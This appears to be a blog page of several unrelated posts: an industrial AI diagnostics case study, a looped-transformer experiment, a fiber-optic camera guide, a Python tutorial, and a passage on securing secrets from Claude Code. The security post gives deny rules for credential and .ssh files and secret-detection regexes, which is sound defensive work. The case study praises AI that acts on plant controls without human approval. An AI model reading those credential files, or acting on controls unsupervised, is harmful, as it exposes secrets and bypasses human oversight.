When AI Diagnoses the Plant Before Anyone Notices: How Endress+Hauser Eliminated 80% of Measurement Fault Support Calls

TL;DR:

  • Endress+Hauser deployed an AI diagnostic engine across 300+ industrial plants; the system resolves 80% of measurement device faults without human intervention or vendor support calls.
  • Machine learning models trained on decades of field device telemetry classify root causes — sensor drift, electrical noise, process condition shifts, and mounting anomalies — in near-real-time.
  • Integration with plant historians and DCS via OPC-UA means the AI operates within existing industrial control architectures, not as a bolt-on.
  • Mean time to repair (MTTR) dropped from days to hours. The economic model shifts from reactive truck rolls and phone-based troubleshooting to predictive, remote resolution.

The Architecture: Where Decades of Telemetry Meet Inference

The diagnostic engine sits inside the OT network, consuming telemetry from flow meters, pressure transmitters, level sensors, and temperature probes — devices generating years of historical data per installation. The models were trained on telemetry across the entire installed base: millions of device-hours covering normal operation, degradation, and failure modes.

The inference pipeline ingests real-time sensor data, device metadata (firmware, calibration history, installation date), and process variable correlations. A flow meter reporting zero flow while its downstream pressure transmitter shows a spike is not two independent anomalies — it is a correlated fault signature the model recognizes as a blocked impulse line. This correlation capability separates ML-based diagnostics from rule engines.

Critically, the training data came from real field failures, not lab simulations. A pressure transmitter failure at a chemical plant looks different from one at a wastewater facility, and the training corpus captures that variance.

Root Cause Classification: Beyond Simple Thresholds

The system classifies faults into four categories. Sensor drift — gradual deviation undetected for weeks — is flagged when the trend emerges, not when it crosses a threshold. Electrical noise from ground loops, VFD interference, or failing analog cards produces characteristic frequency patterns matched against known signatures. Mounting issues — incorrect insertion depth, impulse line blockages — are inferred through cross-instrument correlation. And process condition changes — two-phase flow, cavitation, unexpected fluid properties — are distinguished from device faults, eliminating the most common support call: the no-fault-found dispatch.

Integration: OPC-UA as the Enabler

The system reads from existing plant historians (OSIsoft PI, AspenTech IP.21) and communicates with DCS via OPC-UA — the same protocol connecting PLCs, HMIs, and SCADA. OPC-UA exposes not just process values but diagnostic parameters (signal quality, electronics temperature, sensor impedance) through standardized address spaces. The AI builds a multidimensional health view beyond the 4-20 mA signal the operator sees. The historian provides long-term memory: when an anomaly appears today, the AI queries five years of history to establish baseline behavior and correlation patterns.

The Economics: More Than Fewer Truck Rolls

The 80% figure represents actual support case deflection. For each remotely resolved fault, the plant avoids truck rolls, phone-support cycles consuming operator attention, and downtime costs cascading from measurement faults in custody transfer or quality-critical applications. Device lifetime extension is the less obvious lever: detecting drift at 2% deviation and recalibrating preserves five years of useful life that would otherwise be lost to undetected degradation.

Engineering Takeaways

The deployment validates principles applicable beyond instrumentation. Field data already exists in historians — it was simply never structured for ML consumption. OPC-UA adoption is not optional for AI-driven diagnostics; its semantic richness provides the feature vectors that make classification possible. And the vendor relationship shifts from reactive support to co-engineering: when 80% of faults never generate a call, the vendor’s value is in maintaining the model, not answering the phone.

The next threshold is autonomous resolution — AI diagnosing the fault, identifying the corrective action, and executing it through the DCS without human approval. That future is closer than most plant managers think.

For the complete architectural breakdown — including the inference pipeline data flow, the four-category fault taxonomy in full detail, and the OPC-UA integration pattern with historian retrospective analysis — read the full analysis at susiloharjo.web.id:

[Link] https://susiloharjo.web.id/ai-plant-measurement-fault-diagnosis/

Related on Susiloharjo:

[Day 7] Does Giving an AI More ‘Thinking Time’ Really Make It Smarter? Training an OpenMythos-Style Mini Model on DGX

accuracy heatmap of OpenMythos addition across loop counts and digit counts

[Day 7] Does Giving an AI More “Thinking Time” Really Make It Smarter? Training an OpenMythos-Style Mini Model on DGX

Intro

Day 7!

Reddit kept surfacing this new project called OpenMythos in my feed with “12 days to replicate frontier AI, ASI is near” headlines, and I got curious enough to dig in.

Tools used: my home AI machine (DGX Spark) + OpenMythos (PyTorch reconstruction of the rumored Claude Mythos architecture) + synthetic multi-digit addition.

The question: does giving an AI more “thinking time” (= more recurrent loops at inference) actually make it smarter?

Today’s setup

The hype

On 2026-04-07, Anthropic announced Claude Mythos. Press coverage highlights zero-day discovery capabilities — reportedly 271 zero-days in Firefox and a 27-year-old bug in OpenBSD — but the model’s architecture and weights remain unreleased. Anthropic kept Mythos itself behind a limited-access coalition (Project Glasswing — AWS, Apple, Microsoft, Google, CrowdStrike, Palo Alto, ~40 organizations) rather than releasing it publicly.

Twelve days later, Kye Gomez (Swarms) released OpenMythos, a PyTorch reconstruction of the suspected architecture. The repo is explicit upfront:

“an independent, community-driven theoretical reconstruction based solely on publicly available research and speculation. It is not affiliated with, endorsed by, or connected to Anthropic”

So OpenMythos is not Mythos. It’s a hypothesis-in-code: a Recurrent-Depth Transformer (RDT) with MoE FFNs and MLA/GQA attention, capable of being trained from scratch on standard text data. No leaked weights, no distillation.

Reddit’s “ASI is near” framing skips this critical distinction. The interesting question, once you set the hype aside, is whether the architectural idea — recurrent depth — actually works.

Note for this article: OpenMythos is not Claude Mythos — it’s a theoretical reconstruction inspired by looped-transformer research. The experiments below are not “Claude Mythos capability tests” but rather “how does a looped / recurrent-depth structure behave on a small synthetic task.”

Three perspectives on looped transformers

Browsing the literature, I found three different studies giving different pictures of how looped transformers behave:

Source Scale Claim
Saunshi et al. 2025 (ICLR, research paper) tens of M params, synthetic Loops work: k layers looped L times approximately matches kL-layer fixed-depth, on addition / p-hop induction / math
Geiping et al. 2025 (Huginn, research paper) 3.5B params, 800B tokens Task-dependent: at scale on natural-language benchmarks, gains can be marginal (T=4 → T=32 only +1.82 points on GSM8K), though effects vary by task and compute regime
Micheal Bee 2026-04 (Medium, independent experiment blog) 17M params, 12 GPU-hours on RTX 5070 Ti Loops plateau at T=2 in this small-scale setup: hidden state reaches a fixed-point that subsequent iterations cannot escape

Theory, large-scale empirics, and an independent solo replication give different pictures. I wanted to add a fourth data point from my own DGX Spark on a clean, controlled task — multi-digit addition.

What I’d hoped to see

  1. Does training-time accuracy phase-transition (grok) at some step? (Saunshi 3-stage prediction)
  2. Does test-time loop count matter? At what point does it stop helping?
  3. Does the hidden state actually keep evolving across loops, or does it hit a fixed-point early? (the Bee question)

Headline finding

  • Loops help, but only within a narrow window centered on the training loop count. With training-time max_loop_iters=4, accuracy peaks at exactly T=4 (100% across all digit counts) and decays in both directions — fewer loops underthink, more loops overthink.
  • Bee’s “T=2 fixed-point” reproduced. Cosine similarity between consecutive hidden states jumps from ~0.72 to ~0.95 at T=2, then climbs slowly to ~0.99 by T=4 and stays flat through T=32.
  • Striking per-seed grokking variance. Same hyperparameters, four seeds: seeds 1 and 3 solve 5-digit addition by step 4,000; seed 2 takes 10,000; seed 0 stalls at <10% until step 16,000, then jumps to 100%.
  • No depth extrapolation in this setup. Saunshi’s claim that training at T=4 should generalize to deeper T at inference does not reproduce here — instead, T>4 hurts.

🌀 What is a “looped” transformer?

A standard transformer (GPT-4, Llama, most local LLMs) routes input tokens through a stack of distinct layers, each used exactly once per forward pass. To make it “think deeper,” you stack more layers — increasing parameter count.

A looped transformer reuses the same parameters across multiple iterations. The model has a Prelude → Recurrent Block × T → Coda structure: a few standard layers up front, then one block iterated T times with input injection at every step, then a few more standard layers.

Input tokens
   ↓
[Prelude P]          — standard layers, run once
   ↓
[Recurrent Block R]  — one block looped T times
   ↑_______↓          h_{t+1} = A·h_t + B·e + Transformer(h_t, e)
   ↓
[Coda C]             — standard layers, run once
   ↓
Output logits

At each loop iteration t, the hidden state updates via the LTI injection rule, and the encoded input e (Prelude output) is re-injected to keep the original signal alive across arbitrary depth. The injection parameters are constrained so that spectral radius ρ(A) < 1, which prevents divergence over many loops (Parcae stability framework).

The key claim: more loops at inference = deeper reasoning, without adding parameters. This is conceptually analogous to chain-of-thought scaling — except the “thinking” happens in continuous latent space rather than discrete token space.

🔧 Experimental setup

I trained a deliberately tiny OpenMythos variant on multi-digit addition. The model is small enough to run 4 seeds in parallel on a single GPU but large enough to exhibit the looped-transformer phenomena.

OpenMythos tiny (3.4M params)
  ↓
Train 4 seeds in parallel, 30k steps each, fp32 on DGX Spark (GB10)
  ↓
Experiment A: greedy autoregressive accuracy
              loops ∈ {1, 2, 4, 8, 16, 32}  ×  digits ∈ {2, 3, 4, 5}
  ↓
Experiment B: cosine similarity between consecutive hidden states
              ⇒ does the recurrent block reach a fixed-point?
  ↓
Compare against Saunshi / Huginn / Bee

Model config

MythosConfig(
    vocab_size=16,         # digits 0-9 + '+', '=', pad, eos
    dim=256,
    n_heads=8,
    n_kv_heads=2,          # GQA
    max_seq_len=32,
    max_loop_iters=4,      # training depth; inference varies
    prelude_layers=1,
    coda_layers=1,
    attn_type="gqa",
    n_experts=4,           # MoE FFN inside recurrent block
    n_shared_experts=1,
    n_experts_per_tok=2,
    expert_dim=512,
    lora_rank=8,           # depth-wise LoRA per loop step
)

Total parameters: 3,386,658 (~3.4M).

Data

On-the-fly synthetic addition. Operands are uniformly sampled from [10^(d-1), 10^d - 1] for digit count d ∈ {2, 3, 4, 5}. Sequence format "A+B=R$", where R = str(A+B)[::-1] (reverse-order answer, following Saunshi’s convention so left-to-right autoregressive generation can carry digits naturally).

Loss is applied only at positions following the = token (i.e., on the answer tokens).

Training

  • Optimizer: AdamW, betas (0.9, 0.95), wd 0.1
  • LR: max 3e-4, warmup 2000 steps, cosine decay to 1e-5
  • Grad clip: 1.0
  • Batch size: 128
  • Max steps: 30000
  • dtype: fp32

Initially I tried bf16 to use the GB10 efficiently, but OpenMythos stores RoPE frequencies as complex64 buffers, and model.to(bfloat16) silently drops the imaginary part, breaking attention. For a 3.4M-param model on 128 GB of unified memory, fp32 is fine — the bottleneck is not memory but parallel scheduling.

Four seeds {0, 1, 2, 3} run in parallel on the same GPU. Per-seed throughput drops to ~12K tok/s (vs ~50K solo), but wall-clock time for all four is approximately equivalent to one solo run.

📊 Results

Experiment A: accuracy heatmap

accuracy heatmap of OpenMythos addition across loop counts and digit counts

Mean fully-correct rate across 4 seeds, 500 eval samples per condition:

Inference loops d=2 d=3 d=4 d=5
1 0.38 ± 0.12 0.19 ± 0.09 0.09 ± 0.07 0.02 ± 0.02
2 0.53 ± 0.17 0.50 ± 0.12 0.16 ± 0.08 0.21 ± 0.16
4 (train) 1.00 1.00 1.00 1.00
8 0.98 ± 0.01 0.98 ± 0.01 0.94 ± 0.03 0.86 ± 0.08
16 0.91 ± 0.04 0.91 ± 0.05 0.75 ± 0.10 0.56 ± 0.16
32 0.62 ± 0.12 0.65 ± 0.13 0.45 ± 0.13 0.26 ± 0.17

Observations:

  • Peak is exactly at training-time loop count (T=4), 100% across all digit counts.
  • One step of inference-time extrapolation (T=8) is near-peak but already shows degradation at d=5 (86%).
  • Beyond T=8, accuracy collapses monotonically. At T=32, even 2-digit addition drops to 62%.
  • Under-looping (T=1, T=2) hurts more at higher digit counts, consistent with depth being needed to chain carries.

Experiment B: fixed-point analysis

fixed-point cosine similarity curve across loop steps

Mean cosine similarity between consecutive hidden states cos(h_t, h_{t-1}) over answer positions, averaged across 4 seeds, 200 samples per digit:

t d=2 d=3 d=4 d=5
1 0.711 0.726 0.745 0.744
2 0.961 0.967 0.957 0.946
3 0.985 0.986 0.977 0.971
4 0.993 0.992 0.986 0.983
8 0.999 0.999 0.998 0.996
16 0.9995 0.9996 0.9992 0.998
32 0.9995 0.9996 0.999 0.998

Bee’s T=2 fixed-point claim is reproduced in spirit but not literally: cosine similarity jumps to ~0.95 at T=2 (vs. Bee’s near-1.0), then asymptotes to ~0.99 by T=4 and stays flat through T=32.

The difference vs. accuracy is telling: hidden state is effectively static (by cosine similarity) from T=4 onwards, yet accuracy collapses at T=16-32. Two non-exclusive interpretations: (a) overthinking — late loops drift away from a converged solution; (b) distribution shift — training used T=4, so T>>4 is simply an out-of-distribution use of the model. Worth noting that cosine similarity ≈ 1 doesn’t prove the hidden state is doing nothing — small logit-relevant deltas may still accumulate.

Digit-count dependence on fixed-point timing is small (d=5 lags d=2 by ~0.01 in cosine sim). “Harder problems take more loops to converge” is not observed here — they converge at the same rate but the converged state is just less accurate at higher digit counts.

Bonus: training dynamics

training loss and teacher-forced accuracy curves per seed

The most striking thing in the training curves is seed-dependent grokking timing. Four runs of identical hyperparameters:

  • seed 1: loss → 0 by step 3,000, all digits ≥88% by step 4,000
  • seed 3: loss → 0 by step 4,000, all digits ≥87% by step 4,000
  • seed 2: stuck at loss ~0.35 plateau until step 8,000, then collapses to 0 by step 10,000; d=4/5 jump from <10% to 99% in 2,000 steps
  • seed 0: stuck at loss ~0.30 plateau until step 15,000, then collapses; d=4 groks at step 12,000-14,000, d=5 groks at step 16,000

This is textbook Saunshi-style three-stage grokking (memorization → in-distribution → systematic), with the third-stage trigger varying by a factor of 4x in step count purely on random init. The largest seed gap (seed 0 vs. seed 1) is ~12,000 steps, roughly 1 hour of wall-clock on this DGX.

If you trained a single seed and stopped early, you might conclude “OpenMythos can’t generalize beyond d=3” — which would be wrong. The architecture can solve all 4 digit buckets; some random seeds just need much longer to find the systematic-generalization solution.

💡 What this means for the three perspectives

Where my data point lands

My single-DGX small-scale result lands somewhere between Bee and a partial refutation of Saunshi:

  • Bee’s fixed-point at small T is reproduced. Hidden state effectively stops evolving by T=4 (cosine sim ≥ 0.99) and certainly by T=8.
  • Saunshi’s depth-extrapolation does NOT reproduce. Inference at T > train_T does not improve accuracy — it harms it. T=8 is already at 86% on d=5 (vs. 100% at T=4), and T=32 collapses to 26%. The “train at depth k, infer at depth k·L” recipe assumes the recurrent block has learned to keep refining; in my setup it has not.
  • Huginn’s limited-gain finding is consistent at small scale. Extra inference loops give negative ROI rather than diminishing positive ROI.
  • New observation: seed-dependent grokking with up to 12K-step variance. This is an under-emphasized variable in the public looped-transformer discourse — single-seed studies (Bee’s solo replication, individual rows in Saunshi’s tables) may be substantially under- or over-estimating typical behavior.

Reconciliation attempt

Theory (Saunshi), large-scale empirics (Huginn), and independent replication (Bee) may not actually be in contradiction — they may be measuring different facets of the same phenomenon at different scales:

  • Saunshi: shows loops can work on the right kind of problem (algorithmic, depth-bounded reasoning) at the right kind of scale (small synthetic).
  • Huginn: shows that loops trained at 3.5B / 800B token scale on natural-language data give only marginal gains on a benchmark (GSM8K) that already favors CoT.
  • Bee: shows that within a particular small-scale training recipe, the recurrent block’s hidden state stops evolving very early in inference.

These three findings are compatible with a unified picture: loops carry compute, but only up to a depth bounded by the task’s algorithmic complexity and the model’s expressive capacity. Beyond that depth, the hidden state stops moving meaningfully, and additional loops are computation without information.

What I’d watch next

  • Increase loop count during training (here I used 4) and see if the inference-time scaling extends further
  • Try ACT halting more aggressively to see how the model self-regulates loop depth per token
  • Add task heterogeneity (mix p-hop induction or parity) to test whether the fixed-point timing varies by problem class

🛠️ Technical details

Reproducing this experiment

git clone https://github.com/kyegomez/OpenMythos
cd OpenMythos
pip install -e .

# Data, training, evaluation scripts (this Day 7 folder):
python scripts/train.py --seed 0 --max_steps 30000
python scripts/eval_accuracy.py --seeds 0 1 2 3
python scripts/eval_fixedpoint.py --seeds 0 1 2 3
python scripts/plot.py

The training and evaluation scripts are at https://github.com/SAETAG/dgx-100-experiments/tree/main/days/day07-openmythos-loop-debate/scripts.

What went wrong (and was fixed)

  • bf16 broke complex RoPE buffer: switched to fp32; fine at 3.4M parameters
  • Initial training-time max_loop_iters too small: kept at 4 per Saunshi’s recipe; future experiments could vary this
  • Greedy generation is slow at high loop counts: each batch repeats n_loops forward passes through the recurrent block; for loops=32 this is non-trivial

Hyperparameter choices: why these

  • dim=256, expert_dim=512, 1 prelude / 1 coda layer: smallest config that still exhibits looping behavior; matches Saunshi’s scale
  • n_experts=4: enough to demonstrate MoE routing without bloating params
  • lora_rank=8: depth-wise LoRA lets each loop iteration adapt slightly without breaking weight-sharing
  • max_seq_len=32: tight bound — d=5 addition fits in ~18 chars

References

Tomorrow: Day 8

A follow-up to Day 7, pushing looped thinking one step further into something harder…!

100ExperimentsWithDGX #LocalLLM

Fiber Optic Camera – Bringing Vision to Impossible Places

Conventional machine vision places the camera at the inspection point. The lens points at the target, and the sensor sits right behind it. This works perfectly—until the inspection point is too hot, too cold, too radioactive, too cramped, or too electrically sensitive for an electronic camera to be present.

A fiber optic camera solves this problem by physically separating the optical front end from the camera body. A coherent fiber optic image guide—a bundle of thousands of microscopic glass fibers—transmits the image from a remote location back to a sensor safely located elsewhere. The camera electronics never enter the hazardous zone. Only the passive fiber optic bundle and a compact lens do.


When you deploy a fiber optic camera, you are not just choosing a different type of camera. You are choosing an entirely different architecture for remote vision.

How a Fiber Optic Camera Works
The principle is elegant. A fiber optic camera consists of three primary components:

The distal lens sits at the inspection point. This miniature lens focuses the scene onto the end of the fiber bundle. It can be as small as 1mm in diameter, enabling access through tiny ports.

The fiber image guide is a flexible or rigid bundle of optical fibers, each fiber acting as one pixel. The bundle preserves the spatial relationship of the image from one end to the other. Lengths from 100mm to several meters are common.

The proximal camera attaches to the other end of the fiber bundle. A relay lens images the fiber bundle output onto a standard industrial sensor. From the camera’s perspective, it is simply imaging a static pattern—the fiber bundle’s end face.

The resulting fiber optic camera system can see around corners, through bulkheads, and inside live equipment without any electronics entering the hazardous area.

Critical Applications for Fiber Optic Cameras
Aerospace engine inspection – Turbine blades, combustion chambers, and fuel nozzles sit deep inside jet engines. A fiber optic camera with a articulating tip snakes through borescope ports to inspect components without engine disassembly. The camera electronics remain safely outside, unaffected by extreme heat.

Nuclear facility monitoring – Radiation destroys standard electronics quickly. A fiber optic camera places only passive glass fibers in radiation zones. The camera and electronics are located behind shielding, operating indefinitely in environments that would kill a conventional camera in minutes.

High-voltage electrical inspection – Live switchgear, transformers, and transmission lines cannot tolerate conductive camera bodies or cables. A fiber optic camera uses all-dielectric fibers, providing perfect electrical isolation and enabling inspections without de-energizing equipment.

Vacuum chamber and cleanroom applications – Some processes cannot tolerate outgassing from electronics. A fiber optic camera places only glass and metal (or all-glass) fibers in the sensitive environment. The camera itself stays outside the chamber.

Confined space inspection – Pressure vessels, storage tanks, and piping systems have limited access ports. A slender fiber optic camera probe can travel deep into these spaces, illuminating and imaging areas no human or conventional camera could reach.

Medical and pharmaceutical manufacturing – Sterile environments and sealed isolators benefit from fiber optic camera systems where the camera body never breaches the sterile boundary. Only a sealed fiber optic cable and lens pass through the wall.

Rigid vs. Flexible Fiber Optic Cameras
Rigid fiber optic cameras use a fixed, straight or gently curved fiber bundle inside a metal tube. They offer the highest image quality because the fibers remain in perfect alignment. Typical lengths range from 100mm to 1000mm. Rigid fiber optic camera systems are ideal for accessing through straight or slightly curved ports.

Flexible fiber optic cameras use a bendable fiber bundle, often sheathed in a protective polymer or metal braid. They can snake around multiple bends, but bending reduces image quality and can eventually damage fibers. Flexible fiber optic camera systems are essential for complex access paths but require more careful handling.

Image Quality Considerations
A fiber optic camera does not match the image quality of a direct-coupled lens and sensor. Several factors degrade the image:

Pixelation – The fiber bundle is a discrete array. Each fiber acts as one pixel. A typical bundle may have 10,000 to 100,000 fibers—far fewer than a modern sensor’s millions of pixels. The image looks like a mosaic.

Fixed pattern noise – Damaged or misaligned fibers appear as dark spots in every image. Over time, fiber breakage increases, gradually degrading the fiber optic camera image.

Lower resolution – Because each fiber is relatively large, fine details may fall between fibers and be lost. High-resolution fiber optic camera systems use very thin fibers (down to 3-4 microns) but at higher cost.

Lower light transmission – Fiber bundles absorb some light. Longer bundles are darker. A fiber optic camera typically requires brighter illumination than a standard camera.

Despite these limitations, a fiber optic camera provides image quality far superior to no inspection at all—and often superior to alternative methods like X-ray or ultrasonic imaging for surface features.

Illumination for Fiber Optic Cameras
A fiber optic camera requires illumination at the distal end. Two approaches dominate:

Dedicated illumination fibers – Many fiber optic image bundles include additional glass fibers for transmitting light from an external source to the inspection point. This integrated fiber optic camera design keeps the probe slender.

Separate light guide – An independent fiber optic light guide accompanies the image bundle. This allows independent positioning of illumination and may provide higher light levels.

LEDs mounted at the distal tip are generally not used because they introduce electronics at the inspection point, defeating the purpose of a passive fiber optic camera.

Camera Selection for Fiber Optic Systems
The camera attached to the proximal end of a fiber optic camera system must match the fiber bundle characteristics. Important considerations:

Sensor size – The bundle output face has a specific diameter (typically 1-10mm). Choose a sensor that images this entire area without requiring excessive magnification.

Resolution – Since the fiber bundle limits system resolution, extremely high-resolution sensors are unnecessary. A fiber optic camera often works well with 1-5 megapixel sensors.

Sensitivity – Fiber bundles reduce light. A sensitive sensor or cooled camera helps maintain frame rates. For very long bundles (over 2 meters), consider an electron-multiplying or scientific CMOS camera.

Triggering – Most fiber optic camera applications need external triggering to capture specific moments during machine cycles or process events.

Industries That Depend on Fiber Optic Cameras
Power generation – Gas turbines, steam turbines, generators, and transformers all require periodic internal inspection. A fiber optic camera accesses these components through existing ports.

Oil and gas – Pipeline internal inspection, refinery vessel inspection, and downhole well monitoring all use fiber optic camera systems rated for high pressure and corrosive environments.

Aerospace manufacturing – Fuel tank internal inspection, airframe structure verification, and composite material cure monitoring benefit from fiber optic vision.

Scientific research – Vacuum chambers, cryostats, and high magnetic field environments often cannot accommodate conventional cameras. A fiber optic camera provides visual access without interference.

Selecting Your Fiber Optic Camera System
When choosing a fiber optic camera, specify:

Required length (rigid or flexible)

Diameter (probe must fit through access port)

Image resolution (fiber count and individual fiber diameter)

Environment (temperature, pressure, radiation, chemicals)

Illumination needs (integrated or separate light guide)

Camera interface (GigE, USB, Camera Link)

A fiber optic camera is a specialized tool for specialized problems. When you cannot get a conventional camera to the inspection point, fiber optic imaging is not a compromise—it is the only practical solution that delivers real-time, color, high-speed vision to places otherwise completely blind.

From Rails to Python: Why Python Classes Feel Simpler in Real Backend Projects

If you’re coming from Ruby or Rails, Python classes can feel surprisingly lightweight.
You still get object-oriented programming, encapsulation, reusable code, and clean architecture — but with less “magic”.

In this article, we’ll build a small real-world backend example using:

  • Python classes
  • Type hints
  • Decorators
  • Generators

And we’ll model something most developers understand instantly: an order processing system.

Real-Life Scenario

Imagine you are building a backend for:

  • an ecommerce store,
  • Food delivery system,
  • SaaS billing engine,
  • or warehouse management app.

You’ll likely have:

  • Orders
  • Customers
  • Inventory
  • Event logs

This is where Python classes become extremely practical.

Basic Python Class Example

class Order:
    def __init__(self, order_id: int, customer: str):
        self.order_id = order_id
        self.customer = customer
        self.status = "pending"

    def complete_order(self):
        self.status = "completed"

order = Order(101, "Ali")

print(order.customer)
print(order.status)

order.complete_order()

print(order.status)

Output:

Ali
pending
completed

Why This Feels Cleaner Than Many OOP Systems

Python removes unnecessary ceremony.

You don’t need:

  • getters/setters everywhere,
  • verbose constructors,
  • interfaces for everything,
  • complex inheritance chains.

Most backend systems only need:

  • simple models,
  • service classes,
  • utility layers.

Python excels here.

Add Type Hints for Production Readability

Now let’s make this production-friendly.

class Order:
    def __init__(self, order_id: int, customer: str):
        self.order_id: int = order_id
        self.customer: str = customer
        self.status: str = "pending"

    def complete_order(self) -> None:
        self.status = "completed"

Why type hints matter

In large teams:

  • they improve autocomplete,
  • reduce bugs,
  • help onboarding,
  • make APIs self-documenting.

Especially useful when building:

  • FastAPI apps,
  • AI systems,
  • async services,
  • internal SDKs.

Using Decorators for Logging

Real systems need observability.

Suppose you want to log every important action.

def log_action(func):
    def wrapper(*args, **kwargs):
        print(f"Running: {func.__name__}")
        return func(*args, **kwargs)
    return wrapper

Use it inside the class:

class Order:
    def __init__(self, order_id: int):
        self.order_id = order_id

    @log_action
    def ship(self):
        print("Order shipped")

Output:

Running: ship
Order shipped

Real Backend Use Cases of Decorators

Decorators are heavily used in:

  • authentication,
  • rate limiting,
  • retries,
  • caching,
  • logging,
  • monitoring,
  • API routing.

Example:

@app.get("/orders")

That FastAPI route itself is a decorator.

Generators: Secret Weapon for Large Data

Suppose your warehouse has 10 million orders.

Returning all data at once is memory-heavy.

Generators solve this elegantly.

def order_ids():
    for i in range(1, 1000000):
        yield i

Usage:

for order_id in order_ids():
    print(order_id)

The values are generated lazily.

Real-Life Generator Use Cases

Generators are perfect for:

  • CSV processing,
  • log streaming,
  • AI dataset pipelines,
  • Kafka consumers,
  • ETL jobs,
  • background workers.

Instead of loading everything into RAM, Python streams data efficiently.

Final Thoughts

Python classes are practical because they focus on:

  • readability,
  • maintainability,
  • developer speed.

When combined with:

  • decorators,
  • generators,
  • type hints,

you can build production-grade systems that remain surprisingly simple.

That’s one reason Python dominates:

  • AI engineering,
  • backend systems,
  • automation,
  • data infrastructure.

Claude Code Is Reading Your .env File Right Now — And You Probably Don’t Know It

Every time you open a project with Claude Code, it starts scanning your files. Your source code. Your configs. Your .env file.

By the time you type your first prompt, Claude already knows your database password, your Supabase service key, and that Twilio auth token you’ve been meaning to rotate for three months. And depending on your setup, all of that might be sitting in Anthropic’s conversation logs right now.

I know this sounds alarmist. But this isn’t theoretical — a GitHub issue filed in April 2026 confirmed that Claude reads and echoes .env contents into conversation context, even when you’ve explicitly told it not to in your CLAUDE.md. That was the moment I stopped trusting advisory rules and started understanding how Claude’s permission system actually works.

Here’s what I found — and more importantly, how to actually fix it.

The False Sense of Security: Why CLAUDE.md Won’t Save You

The first thing most developers do is open their CLAUDE.md and write something like:

“Never read .env files. Never expose API keys.”

Reasonable. Logical. And almost completely useless as a security control.

Here’s the uncomfortable truth: CLAUDE.md is a suggestion, not a constraint. Claude follows it under normal conditions — short context windows, simple tasks, clear intent. But push the model into a complex debugging session with a long conversation history and an ambiguous instruction, and those advisory rules start slipping.

The model isn’t being malicious. It’s just prioritizing. When the system prompt says “don’t read .env” but the task at hand requires understanding why a database connection is failing, the task usually wins.

The only thing that actually enforces a hard boundary is a deny rule in settings.json. Deny rules are evaluated before Claude even attempts the operation. The file never opens. The contents never enter the context. It’s the difference between “please don’t” and “you physically cannot.”

It’s Not Just One Leak — It’s Three

Most developers, once they hear about this problem, go add a deny rule for .env files and call it done. That blocks one of the three ways your secrets get exposed.

Leak #1: Direct file read — This is the obvious one. Claude scans your project directory, opens .env, and the keys become part of the conversation. Deny rules stop this completely.

Leak #2: Runtime output capture — This is the sneaky one. Claude runs your test suite. One test makes an HTTP request with an Authorization header. The request fails and the error log dumps the full header value — your live API key — into the terminal output. Claude captures all of that output. Your secret is now in the conversation, and Claude never needed to open a single file.

Or imagine a database connection timing out. The error message includes the full connection string: postgres://admin:[email protected]/appdatabase. Claude sees it. It’s in context. Done.

Leak #3: Search and grep — Claude uses grep to find where you defined a helper function. The search returns matches from a config file that happens to contain your Resend API key alongside the function definition. The matched lines show up in grep output. Claude reads it. You never suspected a thing.

[!warning]+ Reality Check
Most guides on this topic protect against Leak #1 only. Leaks #2 and #3 are where real credentials actually escape in production workflows. I’ll show you how to handle all three.

The Fix That Actually Works: Hard Deny Rules

Open ~/.claude/settings.json — or create it if it doesn’t exist. This is the global config that applies to every project you open with Claude Code.

Add deny rules for every sensitive file pattern you want to block:

{
  "permissions": {
    "deny": [
      "Read(**/.env*)",
      "Read(**/secrets/**)",
      "Read(**/credentials/**)",
      "Read(**/.ssh/**)",
      "Write(**/.env*)",
      "Write(**/secrets/**)",
      "Write(**/credentials/**)",
      "Write(**/.ssh/**)"
    ]
  }
}

The ** wildcard means these rules apply to every subdirectory, not just the project root. If you have a monorepo with a packages/api/.env.production, it’s blocked. If your CI scripts live in tooling/scripts/.env.ci, it’s blocked.

Write rules matter too — you don’t want Claude accidentally creating or overwriting .env files during a “let me set up your environment” task.

Solving Leak #2: The Test Environment Trick

Deny rules can’t intercept runtime output — that’s just text flowing through the terminal. The solution is to ensure Claude never runs code that has access to real credentials in the first place.

Create a .env.test file that contains placeholder values for every key your app uses:

# .env.test — safe values for all automated tasks
ANTHROPIC_API_KEY=sk-ant-test-placeholder-not-real
SUPABASE_URL=https://test-project.supabase.co
SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.test
RESEND_API_KEY=re_test_placeholder_123456789
TWILIO_ACCOUNT_SID=ACtest00000000000000000000000000000
TWILIO_AUTH_TOKEN=test_auth_token_placeholder_value
REDIS_URL=redis://localhost:6379

Then point your test runner at .env.test instead of .env. For Python projects using pytest, add this to pytest.ini:

[pytest]
env_files = .env.test

For Node.js projects, load it explicitly in your test setup:

// test/setup.js
import { config } from 'dotenv'
config({ path: '.env.test', override: true })

Now when Claude runs your test suite and a request fails with a logged header, the only key that shows up is sk-ant-test-placeholder-not-real. Harmless.

Solving Leak #3: The Pre-Commit Safety Net

Even with deny rules and test environments, the repo itself is the last line of defense. A pre-commit hook scans every staged file before it reaches git history — and git history is permanent in a way that conversations aren’t.

Create .git/hooks/pre-commit:

#!/usr/bin/env bash
# Pre-commit hook: blocks commits that contain credential patterns

set -euo pipefail

SECRET_PATTERNS=(
  'sk-ant-api'              # Anthropic production keys
  're_[A-Za-z0-9]{20,}'    # Resend API keys
  'eyJhbGciOiJIUzI1NiJ9'   # Supabase JWTs (common header)
  'ACa[0-9a-f]{32}'        # Twilio Account SIDs
  'AKID[A-Z0-9]{16}'       # Cloud access key IDs
  'postgres://[^@]+:[^@]+@' # Postgres DSNs with embedded passwords
  'mongodb+srv://[^@]+:[^@]+@' # MongoDB Atlas URIs
  '-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----'
)

BLOCKED_FILENAMES=(
  '.env'
  '.env.local'
  '.env.production'
  'id_rsa'
  'id_ed25519'
  '*.p12'
  '*.pfx'
  'service-account.json'
)

FOUND_ISSUE=0

# Check for secret patterns in staged diff
for pattern in "${SECRET_PATTERNS[@]}"; do
  if git diff --cached --diff-filter=ACM -- . | grep -qE "^+.*${pattern}"; then
    echo "❌ BLOCKED: Potential secret found matching pattern: ${pattern}"
    FOUND_ISSUE=1
  fi
done

# Check for sensitive filenames being staged
for filename in "${BLOCKED_FILENAMES[@]}"; do
  if git diff --cached --name-only | grep -qF "${filename}"; then
    echo "❌ BLOCKED: Sensitive file staged for commit: ${filename}"
    FOUND_ISSUE=1
  fi
done

if [[ $FOUND_ISSUE -eq 1 ]]; then
  echo ""
  echo "Remove the flagged content and try again."
